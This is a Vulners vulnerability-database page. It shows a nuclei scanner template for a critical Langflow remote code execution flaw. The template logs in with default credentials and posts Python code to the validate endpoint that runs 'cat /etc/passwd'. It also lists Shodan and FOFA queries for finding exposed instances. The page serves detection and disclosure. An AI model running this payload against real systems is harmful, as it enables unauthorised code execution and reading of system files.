Lucene search
K

Langflow < 1.3.0 - Remote Code Execution via validate_code() exec()

🗓️ 05 Jul 2026 03:01:21Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 25 Views

Langflow before 1.3.0 allows remote code execution via validate_code() exec_globals without authentication.

Related
Refs
Code
id: CVE-2026-0770

info:
  name: Langflow < 1.3.0 - Remote Code Execution via validate_code() exec()
  author: affix
  severity: critical
  description: |
    Langflow contains a remote code execution caused by inclusion of functionality from untrusted control sphere in the exec_globals parameter at the validate endpoint, letting remote attackers execute arbitrary code as root, exploit requires no authentication.
  impact: |
    Remote attackers can execute arbitrary code as root, leading to full system compromise.
  remediation: |
    Update to the latest version of Langflow.
  reference:
    - https://github.com/affix/CVE-2026-0770-PoC
    - https://github.com/langflow-ai/langflow
    - https://www.horizon3.ai/attack-research/disclosures/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-0770
    epss-score: 0.10371
    epss-percentile: 0.95168
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 2
    fofa-query: title="Langflow"
    shodan-query: title:"Langflow"
  tags: cve,cve2026,langflow,rce,authenticated,vuln,vkev

variables:
  username: "langflow"
  password: "langflow"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /api/v1/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "access_token"
          - "token_type"
        condition: and
        internal: true

      - type: word
        part: content_type
        words:
          - "application/json"
        internal: true

      - type: status
        status:
          - 200
        internal: true

    extractors:
      - type: regex
        name: token
        part: body
        group: 1
        internal: true
        regex:
          - '"access_token"\s*:\s*"([^"]+)"'

  - raw:
      - |
        POST /api/v1/validate/code HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

        {"code":"\ndef exploit(\n    _=( lambda r: (_ for _ in ()).throw(Exception(f\"OUTPUT:\\n{r.stdout}{r.stderr}\")) )(\n        __import__('subprocess').run('cat /etc/passwd', shell=True, capture_output=True, text=True)\n    )\n):\n    pass\n"}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 490a0046304402203d3aca8a7979fd59806563ba9f9f56924f3b1cfa97b9fc65f45243a52dc8139c02202e2257d276b7b79f9a670718e65049f9e0547ddbb9a8a742c6b1265ff781423a:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Feb 2026 08:24Current
8High risk
Vulners AI Score8
CVSS 39.8
EPSS0.10371
SSVC
25